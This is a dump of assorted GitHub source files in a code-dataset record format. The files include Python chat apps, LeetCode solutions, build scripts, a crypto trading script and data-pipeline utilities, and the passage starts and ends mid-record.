Here:\")\n self.labelBot.setAlignment(Qt.AlignCenter)\n self.chatlog = QtWidgets.QTextEdit()\n self.userinput = QtWidgets.QLineEdit()\n self.userinput.returnPressed.connect(self.processUserMsg)\n\n self.GuiSetup()\n\n def GuiSetup(self):\n '''\n Styling and Layout.\n '''\n self.chatlog.setStyleSheet(setStyleQte)\n self.userinput.setStyleSheet(setStyleUI)\n self.userinput.setFont(self.font)\n self.layout.addWidget(self.labelBot)\n self.layout.addWidget(self.chatlog)\n self.layout.addWidget(self.labelUser)\n self.layout.addWidget(self.userinput)\n\n def processBot(self):\n self.chatlog.setAlignment(Qt.AlignRight)\n self.chatlog.append(\"Hello There User !\")\n self.userinput.setFocus()\n self.chatlog.append(\"\\n\")\n def processUserMsg(self):\n umsg = self.userinput.text()\n self.chatlog.setAlignment(Qt.AlignLeft)\n self.chatlog.append(umsg)\n self.chatlog.moveCursor()\n # self.chatlog.setAlignment(Qt.AlignRight)\n self.userinput.setText(\"\")\n self.processBot()\n\nif __name__ == '__main__':\n app = QtWidgets.QApplication(sys.argv)\n win = Window()\n win.setGeometry(10, 10, 540, 540)\n win.show()\n sys.exit(app.exec_())","repo_name":"aSrivastaava/Doctorbot","sub_path":"ChatUi.py","file_name":"ChatUi.py","file_ext":"py","file_size_in_byte":2176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"8291563179","text":"\"\"\"\n117. 填充每个节点的下一个右侧节点指针 II\n树 深度优先搜索 广度优先搜索 二叉树\n中等\n\n\n给定一个二叉树\n\nstruct Node {\n int val;\n Node *left;\n Node *right;\n Node *next;\n}\n填充它的每个 next 指针,让这个指针指向其下一个右侧节点。如果找不到下一个右侧节点,则将 next 指针设置为 NULL。\n\n初始状态下,所有 next 指针都被设置为 NULL。\n\n \n\n进阶:\n\n你只能使用常量级额外空间。\n使用递归解题也符合要求,本题中递归程序占用的栈空间不算做额外的空间复杂度。\n \n\n示例:\n\n\n\n输入:root = [1,2,3,4,5,null,7]\n输出:[1,#,2,3,#,4,5,7,#]\n解释:给定二叉树如图 A 所示,你的函数应该填充它的每个 next 指针,以指向其下一个右侧节点,如图 B 所示。序列化输出按层序遍历顺序(由 next 指针连接),'#' 表示每层的末尾。\n \n\n提示:\n\n树中的节点数小于 6000\n-100 <= node.val <= 100\n\n来源:力扣(LeetCode)\n链接:https://leetcode-cn.com/problems/populating-next-right-pointers-in-each-node-ii\n\"\"\"\nfrom collections import deque\n\n\n# Definition for a Node.\nclass Node:\n def __init__(self, val: int = 0, left: 'Node' = None, right: 'Node' = None, next: 'Node' = None):\n self.val = val\n self.left = left\n self.right = right\n self.next = next\n\n def __str__(self) -> str:\n return '[{},{},{},{}]'.format(self.val, self.next.val if self.next else '#', self.left, self.right)\n\n\nclass Solution:\n def connect(self, root: 'Node') -> 'Node':\n queue = deque([root])\n while queue:\n size = len(queue)\n tmp = queue[0]\n for i in range(1, size):\n tmp.next = queue[i]\n tmp = queue[i]\n for _ in range(size):\n tmp = queue.popleft()\n if not tmp:\n continue\n if tmp.left:\n queue.append(tmp.left)\n if tmp.right:\n queue.append(tmp.right)\n return root\n\n\nif __name__ == '__main__':\n solution = Solution()\n\n node = Node(1, left=Node(2, left=Node(4), right=Node(5)), right=Node(3, right=Node(7)))\n result = solution.connect(node)\n print(result)\n assert str(result) == '[1,#,[2,3,[4,5,None,None],[5,7,None,None]],[3,#,None,[7,#,None,None]]]'\n\n node = Node()\n result = solution.connect(node)\n print(result)\n assert str(result) == '[0,#,None,None]'\n","repo_name":"geeknonerd/leetcode","sub_path":"populating/populating_next_right_pointers_in_each_node_ii.py","file_name":"populating_next_right_pointers_in_each_node_ii.py","file_ext":"py","file_size_in_byte":2518,"program_lang":"python","lang":"zh","doc_type":"code","stars":18,"dataset":"github-code","pt":"54"} +{"seq_id":"29965638315","text":"from scripts.helpful_scripts import get_account, OPENSEA_URL\nfrom brownie import SimpleCollectible\n\n\ndef deploy_and_create():\n account = get_account()\n simple_collectible = SimpleCollectible.deploy({\"from\": account})\n tx = simple_collectible.createCollectible({\"from\": account})\n tx.wait(1)\n print(\n f\"Awesome, you can view your NFT at {OPENSEA_URL.format(simple_collectible.address, simple_collectible.tokenCounter() - 1)}\"\n )\n print(\"Please wait up to 20 minutes, and hit the refresh metadata button.\")\n return simple_collectible\n\n\ndef main():\n deploy_and_create()\n","repo_name":"muharik19/Blockchain","sub_path":"nft-demo/scripts/simple_collectible/deploy_and_create.py","file_name":"deploy_and_create.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"37226690875","text":"import os\nimport cmake_build_extension\nimport setuptools\nimport git\n\npackages = [\n \"PDT\",\n \"RDF\",\n \"archive\",\n \"bdb\",\n \"chr\",\n \"clib\",\n \"clpqr\",\n \"cpp\",\n \"cql\",\n \"http\",\n \"inclpr\",\n \"libedit\",\n \"ltx2htm\",\n \"mqi\",\n \"nlp\",\n \"odbc\",\n \"paxos\",\n \"pcre\",\n \"pengines\",\n \"pldoc\",\n \"plunit\",\n \"protobufs\",\n \"readline\",\n \"redis\",\n \"semweb\",\n \"sgml\",\n \"ssl\",\n \"stomp\",\n \"sweep\",\n \"swipy\",\n \"table\",\n \"tipc\",\n \"utf8proc\",\n \"xpce\",\n \"yaml\",\n \"zlib\",\n]\n\ndef updateSrc():\n repo = git.Repo(\"swipl-src\")\n repo.remotes.origin.pull()\n for pkg in packages:\n repo.git.execute(command=['git', 'submodule', 'update', '--init',\n os.path.join(\"packages\", pkg)])\n\n# Broken, see https://github.com/gitpython-developers/GitPython/issues/944\n# repo.submodule(sm).update(init=True)\n\ndef download():\n if os.path.isdir(\"swipl-src\"):\n pass\n else:\n from git.repo.base import Repo\n Repo.clone_from(\"https://github.com/SWI-Prolog/swipl-devel.git\", \"swipl-src\")\n\ndownload()\nupdateSrc()\n\nif \"CIBUILDWHEEL\" in os.environ and os.environ[\"CIBUILDWHEEL\"] == \"1\":\n CIBW_CMAKE_OPTIONS = [\"-DCMAKE_INSTALL_LIBDIR=lib\"]\nelse:\n CIBW_CMAKE_OPTIONS = []\n\nsetuptools.setup(\n cmdclass=dict(build_ext=cmake_build_extension.BuildExtension),\n ext_modules=[\n cmake_build_extension.CMakeExtension(\n name=\"BuildAndInstall\",\n install_prefix=\"swipl\",\n expose_binaries=[\"bin/swipl\"],\n cmake_configure_options=[\n f\"-DSWIPL_PACKAGE_LIST={';'.join(packages)}\",\n ]\n + CIBW_CMAKE_OPTIONS,\n ),\n ],\n)\n","repo_name":"SWI-Prolog/py-swi-prolog","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"70337469282","text":"# app.py\nfrom os.path import join, dirname\nfrom dotenv import load_dotenv\nimport os\nimport datetime\nimport flask\nimport flask_sqlalchemy\nimport flask_socketio\nfrom rfc3987 import parse\nimport chatbot\n\n################################\n\nADDRESSES_RECEIVED_CHANNEL = \"addresses received\"\n\napp = flask.Flask(__name__)\n\nsocketio = flask_socketio.SocketIO(app)\nsocketio.init_app(app, cors_allowed_origins=\"*\")\n\ndotenv_path = join(dirname(__file__), \"sql.env\")\nload_dotenv(dotenv_path)\n\ndatabase_uri = os.getenv(\"DATABASE_URL\")\n\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = database_uri\n\ndb = flask_sqlalchemy.SQLAlchemy(app)\ndb.init_app(app)\ndb.app = app\n\ndb.create_all()\ndb.session.commit()\n\nimport models\n\n################################\n\n# Temporary Server Data\nnumUsers = 0\nuserList = []\n\n################################\n\n# New Data Recieved - Username Logins and new Chats\n\n\n@socketio.on(\"account - Request Username\")\ndef on_username_request(data):\n print(\"Someone requested a new username: \" + data[\"username\"])\n\n nameTaken = False\n for user in db.session.query(models.Users).all():\n if user.username == data[\"username\"]:\n nameTaken = True\n\n global numUsers\n numUsers += 1\n print(\"Number of Users Online: \" + str(numUsers))\n\n if not nameTaken:\n db.session.add(models.Users(data[\"username\"], data[\"imageUrl\"]))\n db.session.commit()\n\n update_messages()\n update_user_count()\n\n socketio.emit(\n \"account - Request Username Response\",\n {\n \"status\": 1,\n \"username\": data[\"username\"],\n },\n )\n\n\n@socketio.on(\"chat - New Message\")\ndef handle_new_message(data):\n db.session.add(\n models.Messages(\n data[\"username\"],\n data[\"messageText\"][0:256],\n datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"),\n models.Users.query.filter_by(username=data[\"username\"]).first().imageUrl,\n )\n )\n if data[\"messageText\"][0:2] == \"!!\":\n db.session.add(\n models.Messages(\n \"butler-bot\",\n chatbot.respond(data[\"messageText\"]),\n datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"),\n \"https://i.imgur.com/m9mlpmh.png\",\n )\n )\n db.session.commit()\n update_messages()\n return models.Messages(\n data[\"username\"],\n data[\"messageText\"][0:256],\n datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"),\n models.Users.query.filter_by(username=data[\"username\"]).first().imageUrl,\n )\n\n\n# Updating User Counts and MessageHistory\n\n\ndef update_messages():\n print(\"Sending MessageHistory to All Clients\")\n allMessages = []\n\n for message in db.session.query(models.Messages).order_by(models.Messages.id).all():\n try:\n print(\n \"URL message detected: \" + str(parse(message.messageText, rule=\"IRI\"))\n )\n if (\n message.messageText[-4:] == \".gif\"\n or message.messageText[-4:] == \".jpg\"\n or message.messageText[-4:] == \".png\"\n ):\n allMessages.append(\n {\n \"username\": message.username,\n \"messageText\": message.messageText,\n \"timestamp\": message.timestamp,\n \"imageUrl\": message.imageUrl,\n \"messageType\": 2,\n }\n )\n else:\n allMessages.append(\n {\n \"username\": message.username,\n \"messageText\": message.messageText,\n \"timestamp\": message.timestamp,\n \"imageUrl\": message.imageUrl,\n \"messageType\": 3,\n }\n )\n except:\n print(\"Message was not a URL\")\n allMessages.append(\n {\n \"username\": message.username,\n \"messageText\": message.messageText,\n \"timestamp\": message.timestamp,\n \"imageUrl\": message.imageUrl,\n \"messageType\": 1,\n }\n )\n\n socketio.emit(\n \"chat - Update Messages\",\n {\n \"allMessages\": allMessages,\n },\n )\n\n\ndef update_user_count():\n global numUsers\n socketio.emit(\"account - Update User Info\", {\"count\": numUsers})\n\n\n# Handling Disconnects\n\n\n@socketio.on(\"disconnect\")\ndef on_disconnect():\n global numUsers\n if numUsers > 0:\n numUsers -= 1\n update_user_count()\n print(\"Someone Disconnected. Remaining Users: \" + str(numUsers))\n\n\n################################\n\n\n@app.route(\"/\")\ndef index():\n # emit_all_addresses(ADDRESSES_RECEIVED_CHANNEL)\n return flask.render_template(\"index.html\")\n\n\nif __name__ == \"__main__\":\n socketio.run(\n app,\n host=os.getenv(\"IP\", \"0.0.0.0\"),\n port=int(os.getenv(\"PORT\", 8080)),\n debug=True,\n )\n","repo_name":"Bazoqa/Flask-Chat-App","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"37374490107","text":"# https://youtu.be/rc_Y6rdBqXM\n# not tested\nimport pandas as pd\nimport sqlalchemy\nfrom binance.client import client\n\nclient = Client(api_key, api_secret)\n\nengine = sqlalchemy.create_engine('sqllite:///BTCUSDTstream.db')\n\ndf = pd.read_sql('BTCUSDT', engine)\n\n# df.Price.plot()\n\n#TredFollow strategy implementation\ndef strategy(entry, lookback, qty, open_position=False):\n while True:\n # get live data\n df = pd.read_sql('BTCUSDT', engine)\n lookbackperiod = df.iloc[-lookback:]\n cumret = (lookbackperiod.Price.pct_change() +1).cumprod() -1\n if not open_position:\n if cumret[cumret.last_valid_index()] > entry:\n order = client.create_order(symbol='BTCUSDT',\n side='BUY',\n type='MARKET',\n quantity=qty)\n print(order)\n open_position = True\n break\n if open_position:\n while True:\n df = pd.read_sql('BTCUSDT', engine)\n sincebuy = df.loc[df.Time > pd.to_datetime(order['transactTime'], unit='ms')]\n if len(sincebuy) > 1:\n sincebuyret = (sincebuy.Price.pct_change() +1).cumprod() -1\n last_entry = sincebuyret[sincebuyret.last_valid_index()]\n if last_entry > 0.0015 or last_entry < 0.0015:\n order = client.create_order(symbol='BTCUSDT',\n side='SELL',\n type='MARKET',\n quantity=qty)\n print(order)\n break\n\nstrategy(0.001, 60, 0.001)\n","repo_name":"schmidtjohannes/exchange-clients","sub_path":"binance/algovibes/trendfollow-broker.py","file_name":"trendfollow-broker.py","file_ext":"py","file_size_in_byte":1800,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"74004917282","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport time\nimport logging\n\nimport tornado.gen\nfrom tornado.log import app_log\nfrom tornado.options import define, options, parse_command_line\n\nfrom components.storage import Storage\nfrom components.queue import Q\nfrom components.utils import log_mem, log_fds\n\n\ndefine(\"debug\", default=False, help=\"enable debug mode\", type=bool)\ndefine(\"dealer_sleep_period_sec\", default=60, type=int)\ndefine(\"dealer_fetch_task_sleep_period_sec\", default=30, type=int)\ndefine(\"dealer_domains_per_task\", default=1000, type=int)\n\n\n@tornado.gen.coroutine\ndef dealer_process():\n app_log.info('start dealer process')\n log_fds('start')\n log_mem('start')\n s = Storage()\n q = Q()\n\n while True:\n log_fds('start loop')\n log_mem('start loop')\n domains = yield s.fetch_domains_for_update(options.dealer_domains_per_task)\n if domains and len(domains) < options.dealer_domains_per_task:\n time.sleep(options.dealer_fetch_task_sleep_period_sec)\n domains = yield s.fetch_domains_for_update(options.dealer_domains_per_task)\n\n if not domains:\n app_log.info(\"not found domains\")\n time.sleep(options.dealer_sleep_period_sec)\n continue\n\n app_log.info(\"fetch %d domains for new task\" % len(domains))\n res = q.add_crawler_task(domains)\n yield s.update_domains_after_fetch(domains)\n app_log.info(\"add task %s\" % res)\n del domains\n\n app_log.info('end dealer process')\n\n\nif __name__ == '__main__':\n parse_command_line()\n\n if options.debug:\n from tornado.log import app_log\n app_log.setLevel(logging.DEBUG)\n\n ioloop = tornado.ioloop.IOLoop()\n ioloop.make_current()\n ioloop.run_sync(dealer_process)\n","repo_name":"esemi/web-graphs","sub_path":"app/dealer.py","file_name":"dealer.py","file_ext":"py","file_size_in_byte":1777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"39858629794","text":"import ccxt\nimport configparser\n\n\nclass Exchange:\n def __init__(self, is_test: bool):\n self.name = \"binance\"\n self.test = is_test\n self.config_filename = \"config.ini\"\n self.exchange = self.set_exchange_config()\n\n def __str__(self):\n return str(self.exchange)\n\n def set_exchange_config(self):\n config = configparser.ConfigParser()\n section_name = f\"test-{self.name}\" if self.test else self.name\n if (\n not config.read(self.config_filename)\n or section_name not in config.sections()\n ):\n config[section_name] = {\n \"api_key\": input(\"YOUR API KEY: \"),\n \"secret_key\": input(\"YOUR SECRET KEY: \"),\n }\n with open(self.config_filename, \"w\") as configfile:\n config.write(configfile)\n exchange = self.init_exchange(config, section_name)\n self.check_exchange_credentials(exchange, config, section_name)\n return exchange\n\n def init_exchange(self, config, section_name):\n exchange_class = getattr(ccxt, self.name)\n exchange = exchange_class(\n {\n \"apiKey\": config[section_name][\"api_key\"],\n \"secret\": config[section_name][\"secret_key\"],\n }\n )\n exchange.set_sandbox_mode(self.test)\n return exchange\n\n def check_exchange_credentials(self, exchange, config, section_name):\n try:\n exchange.fetchBalance()\n except:\n print(\n f\"Your keys for {section_name} are incorrect.\\nTry verify you correctly Copy/Paste them or to generate new keys on the {section_name} website.\"\n )\n config.remove_section(section_name)\n with open(self.config_filename, \"w\") as configfile:\n config.write(configfile)\n exit()\n","repo_name":"killmat21/ATLAS","sub_path":"src/exchange.py","file_name":"exchange.py","file_ext":"py","file_size_in_byte":1871,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"21535490353","text":"from __future__ import print_function\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\nimport math as math\nimport argparse\nclass DataPipeline:\n '''\n def train_input_fn(self,features, labels, batch_size):\n \"\"\"An input function for training\"\"\"\n # Convert the inputs to a Dataset.\n dataset = tf.data.Dataset.from_tensor_slices((dict(features), labels))\n\n # Shuffle, repeat, and batch the examples.\n dataset = dataset.shuffle(1000).repeat().batch(batch_size)\n\n # Return the dataset.\n return dataset\n '''\n #Google Train input function\n def eval_input_fn(self,features, labels=None, batch_size=None):\n if labels is None:\n dataset = tf.data.Dataset.from_tensor_slices(dict(features))\n else:\n dataset = tf.data.Dataset.from_tensor_slices((dict(features), labels))\n\n assert batch_size is not None, \"batch_size must not be None\"\n dataset = dataset.batch(batch_size)\n # Return the read end of the pipeline.\n return dataset.make_one_shot_iterator().get_next()\n\n\n def train_input_fn(self,features, labels, batch_size):\n dataset = tf.data.Dataset.from_tensor_slices((dict(features), labels))\n # Setting the buffer_size to a value larger than the number of examples (120) buffer size 1000 ensures that the data will be well shuffled.\n #examples 1000 buffere size 10000\n dataset = dataset.shuffle(buffer_size=100000).repeat(count=5).batch(batch_size)\n return dataset.make_one_shot_iterator().get_next()\n\n TRAIN_URL = \"./train_test_data/data_train.csv\"\n TEST_URL = \"./train_test_data/data_test.csv\"\n\n CSV_COLUMN_NAMES = ['ip','port','loc_country','zip','protocol','ts','times','is_attack']\n\n\n def load_data(self,label_name='is_attack'):\n \"\"\"Parses the csv file in TRAIN_URL and TEST_URL.\"\"\"\n\n # Parse the local CSV file.\n train = pd.read_csv(filepath_or_buffer=self.TRAIN_URL,\n names=self.CSV_COLUMN_NAMES, # list of column names\n dtype={\"ip\": str,\"loc_country\":str,\"protocol\":str},\n header=0 # ignore the first row of the CSV file.\n )\n # train now holds a pandas DataFrame, which is data structure\n # analogous to a table.\n\n # 1. Assign the DataFrame's labels (the right-most column) to train_label.\n # 2. Delete (pop) the labels from the DataFrame.\n # 3. Assign the remainder of the DataFrame to train_features\n\n # poping ts because it's of no use maybe in future models\n train.pop('ts')\n\n\n train_features, train_label = train, train.pop(label_name)\n\n\n\n # Apply the preceding logic to the test set.\n test = pd.read_csv(self.TEST_URL, names=self.CSV_COLUMN_NAMES, header=0)\n test.pop('ts')\n test_features, test_label = test, test.pop(label_name)\n\n # Return four DataFrames.\n return (train_features, train_label), (test_features, test_label)","repo_name":"prajwalshimpi/DDoS_Corr_Engine","sub_path":"DataPipeline.py","file_name":"DataPipeline.py","file_ext":"py","file_size_in_byte":2916,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"54"} +{"seq_id":"29321090162","text":"import os\nfrom skimage.io import imread\nimport matplotlib.pyplot as plt\nimport bioimageit_core.api as iit\n\n# First we connect to the database (here it is a local database)\nreq = iit.Request('./config_sample.json')\nreq.connect()\n\nprint('- Get a specific tool from it name and version')\ntool = req.get_tool('spitfiredeconv2d_v0.1.2')\nif tool:\n print(' Tool found')\n print('- Print the spitfiredeconv2d_v0.1.2 man page:')\n tool.man()\n\n# run the tool on an image\nreq.exec(tool,\n i='tests/test_images/data/population1_001.tif',\n o='population1_001_deconv.tif',\n sigma=4,\n regularization=12,\n weighting=0.1,\n method='SV',\n padding=True)\n\n# visualize the output\nout_image = imread('population1_001_deconv.tif')\nplt.figure()\nplt.imshow(out_image)\nplt.show()\n\n# delete the result file\nos.remove('population1_001_deconv.tif')\n","repo_name":"bioimageit/bioimageit_core","sub_path":"examples/runner_demo.py","file_name":"runner_demo.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"54"} +{"seq_id":"73676172323","text":"import pandas as pd\nimport numpy as np\n\nfrom getConfig import getConfig\nfrom getData import getData\nfrom preProcess import preProcess\nfrom optimizeRF import buildRF\n#from optimizeNN import buildNN\nfrom optimizeXGB import buildXGB\nfrom optimizeSTL import buildStl\nfrom calcRMSE import calcRMSE\n\nnumPanels = 3\ntrainMonths = 6\ntestMonths = 2\n\ndef getDates(trainStart):\n ''' Compute the end of training and the Test start and end dates '''\n trainEnd = trainStart + pd.DateOffset(months=trainMonths)\n trainEnd = trainEnd - pd.DateOffset(days=1)\n testStart = trainStart + pd.DateOffset(months=trainMonths)\n testEnd = testStart + pd.DateOffset(months=testMonths)\n testEnd = testEnd - pd.DateOffset(days=1)\n return trainEnd, testStart, testEnd\n\ndef createDatasets(data, labels, trainStart):\n ''' We're going to be processing by Date so need both features and labels indexed by date.\n Return a dictionary with trainX, trainY and testX, testY (same format as dataDict) '''\n data.set_index([\"date\", \"hour\"], inplace=True)\n idx = data.index\n labels = pd.Series(labels.values, index=idx)\n trainEnd, testStart, testEnd = getDates(trainStart)\n panelDict = {}\n panelDict[\"trainX\"] = data.loc[trainStart : trainEnd]\n panelDict[\"testX\"] = data.loc[testStart : testEnd]\n panelDict[\"trainY\"] = labels.loc[trainStart : trainEnd]\n panelDict[\"testY\"] = labels.loc[testStart : testEnd]\n return panelDict\n\ndef getModelPreds(panelDict, config):\n ''' \n Input is the data for a single panel\n For each entry in \"optimizers\" call the associated module and get its predictions\n Then compute the average of all the predictions, the \"ensemble\" '''\n df = pd.DataFrame()\n \n optimizers = {}\n optimizers[\"RF\"] = buildRF\n #optimizers[\"NN\"] = buildNN\n optimizers[\"XGB\"] = buildXGB\n optimizers[\"STL\"] = buildStl\n for typ, module in optimizers.items():\n preds = module(panelDict, config)\n df[typ] = preds\n df[\"ensemble\"] = df.mean(axis=1)\n return df\n\ndef calcErrors(panel, df):\n '''\n - DataFrame has a column of predictions for each Model type\n - The last column has Actuals, which are used to compute the error (rmse and mape)\n '''\n for col in df.columns:\n if col != \"actual\":\n rmse = calcRMSE(df[\"actual\"], df[col])\n\ndef processPanels(dataDict, config):\n ''' Loop through each Panel one at a time\n - \"dataDict\" has the entire file (all panels)\n - \"panelDict\" has just one panel '''\n grp = dataDict[\"features\"].groupby(level=0) # indexed by panel number\n trainStart = pd.to_datetime(\"5/25/2017\")\n dfList = []\n \n for panel, data in grp:\n labels = dataDict[\"labels\"].loc[panel]\n panelDict = createDatasets(data, labels, trainStart)\n df = getModelPreds(panelDict, config)\n df[\"actual\"] = panelDict[\"testY\"].values\n calcErrors(panel, df)\n df[\"panel\"] = panel\n idx = panelDict[\"testY\"].index\n df.set_index(idx, inplace=True)\n dfList.append(df)\n return dfList\n'''def formatResults(results):\n import operator\n import collections\n \"results\" is a dictionary of dictionaries: d[\"RF\"] has keys \"mape\" and \"rmse\"\n First convert the dict of dicts to just a dict\n Then sort by rmse\n \n d = {}\n for x in results.keys():\n d[x] = results[x][\"rmse\"] # ignore MAPE for now\n l = sorted(d.items(), key=operator.itemgetter(1)) # sort by rmse\n # \"l\" is a list of tuples (model, rmse) e.g. (\"RF\", 24.2)\n results = []\n for k, val in l:\n d = {}\n d[k] = val\n results.append(d)\n return results'''\n\nif __name__ == \"__main__\":\n '''\n Run the optimizer routine for each panel and each model type (Random Forest, NN, XGB)\n Get the error and predictions of the best model\n Get the error for the Baseline plus the ensemble\n '''\n config = getConfig()\n df = getData(config)\n dataDict = preProcess(df, config)\n \n # For testing, get a few random panels\n panels = dataDict[\"features\"].index.values\n panels = np.random.choice(panels, size=numPanels, replace=False)\n dataDict[\"features\"] = dataDict[\"features\"].loc[dataDict[\"features\"].index.isin(panels)]\n dataDict[\"labels\"] = dataDict[\"labels\"].loc[dataDict[\"labels\"].index.isin(panels)]\n \n dfList = processPanels(dataDict, config)\n final = pd.concat(dfList)\n final.to_csv(config[\"dataLoc\"]+\"predictions.csv\", index=True)","repo_name":"tbrownex/Hackett","sub_path":"OutFront Media/buildModels.py","file_name":"buildModels.py","file_ext":"py","file_size_in_byte":4502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"20461029090","text":"from collections import defaultdict\n\nfrom django.db.models import Max, Min\nfrom rest_framework import generics\nfrom rest_framework.pagination import PageNumberPagination\nfrom rest_framework.response import Response\n\nfrom restshop.api.product.models import Product\nfrom restshop.api.product.serializers import ProductListSerializer, ProductSerializer\nfrom restshop.api.property.models import PropertyValue\nfrom restshop.api.unit.models import Unit\n\n\nclass ProductSetPagination(PageNumberPagination):\n page_size = 32\n\n def get_paginated_response(self, data):\n prices = Unit.objects.aggregate(max=Max('price'), min=Min('price'))\n return Response({\n 'meta': {\n 'page': self.page.number,\n 'has_prev': self.page.has_previous(),\n 'has_next': self.page.has_next(),\n 'min_price': prices['min'],\n 'max_price': prices['max'],\n },\n 'data': data\n })\n\n\nclass ProductListView(generics.ListAPIView):\n serializer_class = ProductListSerializer\n pagination_class = ProductSetPagination\n\n def get_queryset(self):\n queryset = Product.objects.all()\n\n q = self.request.query_params.get('q', None)\n tags = self.request.query_params.get('tags')\n criteria = self.request.query_params.get('properties')\n in_stock = self.request.query_params.get('in_stock', None)\n price_min = self.request.query_params.get('price_min', None)\n price_max = self.request.query_params.get('price_max', None)\n\n if q is not None:\n queryset = queryset.filter(title__icontains=q)\n\n if tags:\n tags = tags.split(',')\n\n for tag in tags:\n queryset = queryset.filter(tag_set__name__iexact=tag).distinct()\n\n if criteria:\n criteria = criteria.split(',')\n values = PropertyValue.objects.filter(id__in=criteria)\n\n grouped_values = defaultdict(list)\n for value in values:\n grouped_values[value.property_id].append(value.id)\n\n for key in grouped_values:\n values = grouped_values[key]\n queryset = queryset.filter(unit__value_set__in=values).distinct()\n\n if in_stock == '1':\n queryset = queryset.filter(unit__num_in_stock__gt=0).distinct()\n\n if price_min is not None and price_min.isdigit():\n queryset = queryset.filter(unit__price__gte=int(price_min)).distinct()\n\n if price_max is not None and price_max.isdigit():\n queryset = queryset.filter(unit__price__lte=int(price_max)).distinct()\n\n return queryset\n\n\nclass ProductDetailView(generics.RetrieveAPIView):\n queryset = Product.objects.all()\n serializer_class = ProductSerializer\n","repo_name":"StasDeep/Rest-Shop","sub_path":"restshop_project/restshop/api/product/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2795,"program_lang":"python","lang":"en","doc_type":"code","stars":93,"dataset":"github-code","pt":"54"} +{"seq_id":"40181513179","text":"import json\nfrom tqdm import tqdm\nfrom scipy.special import softmax\nimport sys\n\ndef convert_chain_to_string(chain):\n chain_rep = []\n for node in chain:\n # print(node)\n if node['origin']['where'] != 'question':\n if node['origin']['where'] == 'table':\n prefix = ' '\n elif node['origin']['where'] == 'passage':\n prefix = ' {} : '.format(\n node['origin']['index'].replace('/wiki/', '').replace('_', ' ').split('/')[0])\n chain_rep.append(prefix + node['content'])\n # print(' [TO] '.join(chain_rep))\n # input()\n return ' ; '.join(chain_rep)\ndef find_union_chain(ranked_ec,topt=2):\n nodes = set()\n all_nodes = []\n for ec in ranked_ec[:topt]:\n # print(ec['path'])\n add = [node for node in ec['path'][1:] if node['content'] not in nodes]\n all_nodes.extend(add)\n nodes.update(set([node['content'] for node in ec['path'][1:]]))\n return all_nodes\nfrom fuzzywuzzy import fuzz\ndef calculate_score(data):\n topk = {1:0,2:0,3:0,5:0,10:0,20:0}\n split = []\n all_selected_chain = []\n hit,all, length,union_hit,union_length=0,0,0,0,0\n for idx,d in tqdm(enumerate(data), desc='Calculating score'):\n positive_table_block = d['positive_table_blocks']\n\n for bid,block in enumerate(positive_table_block):\n best_score = -999\n selected_chain = ''\n # for chain in block['candidate_evidence_chains']:\n # # positive_chain = convert_chain_to_string(chain['path'])\n # score = softmax(chain['score'])#fuzz.partial_ratio(d['question']+' '+orig_answer,positive_chain)\n # if score[1]>best_score:\n # best_score = score[1]\n # selected_chain = chain\n # for cid in range(len(block['candidate_evidence_chains'])):\n # block['candidate_evidence_chains'][cid]['score'] = (softmax(block['candidate_evidence_chains'][cid]['score']) + softmax(data2[idx]['positive_table_blocks'][bid]['candidate_evidence_chains'][cid]['score']))/2\n ranked_ec = sorted(block['candidate_evidence_chains'],key=lambda k: k['score'][1],reverse=True)\n unied_ec = find_union_chain(ranked_ec,topt=2)\n # ranked_ec = sorted(block['candidate_evidence_chains'], key=lambda k: k['score'][0], reverse=True)\n # print(ranked_ec)\n # input()\n for i in range(min(len(ranked_ec),20)):\n # print(ranked_ec[i]['path'][-1])\n if ranked_ec[i]['path']:\n if any([node['is_end_node'] for node in ranked_ec[i]['path']]):\n for j in topk.keys():\n if i 0:\r\n n = float(input(\"Noot waarde kies uit: 0.5 1.0 1.5 2.0 \"))\r\n note_seq.append(n)\r\n play_times -=1\r\n\r\n# print the list for confirmation - no confirmation needed\r\nprint(note_seq)\r\nbpm = int(input(\"Snelheid? in bpm \" ))\r\n\r\n\r\n# een functie maken die de note_seq en BPM omzet naar tijd duraties\r\nnote_speed = 60.0 / bpm\r\n\r\nplay_times = len(note_seq)\r\n\r\nwhile play_times > 0:\r\n note_number = 0\r\n l = note_seq.pop(note_number)\r\n step_duration = l * note_speed\r\n play_obj = wave_obj.play()\r\n time.sleep(step_duration)\r\n note_number += 1\r\n play_times -= 1\r\n# tijd duraties keer de ingevoerde lijst om speel duraties uit te rekenen\r\n","repo_name":"DaanKS/CSD2_Deprecated","sub_path":"CSD2a/rytmische_playback/Rhythmplayer.py","file_name":"Rhythmplayer.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"27492441550","text":"def paint_house(cost):\n red=0\n green=0\n blue=0\n for i in range(len(cost)):\n n_red=min(green,blue)+cost[i][0]\n n_green=min(red,blue)+cost[i][1]\n n_blue=min(red,green)+cost[i][2]\n red=n_red\n green=n_green\n 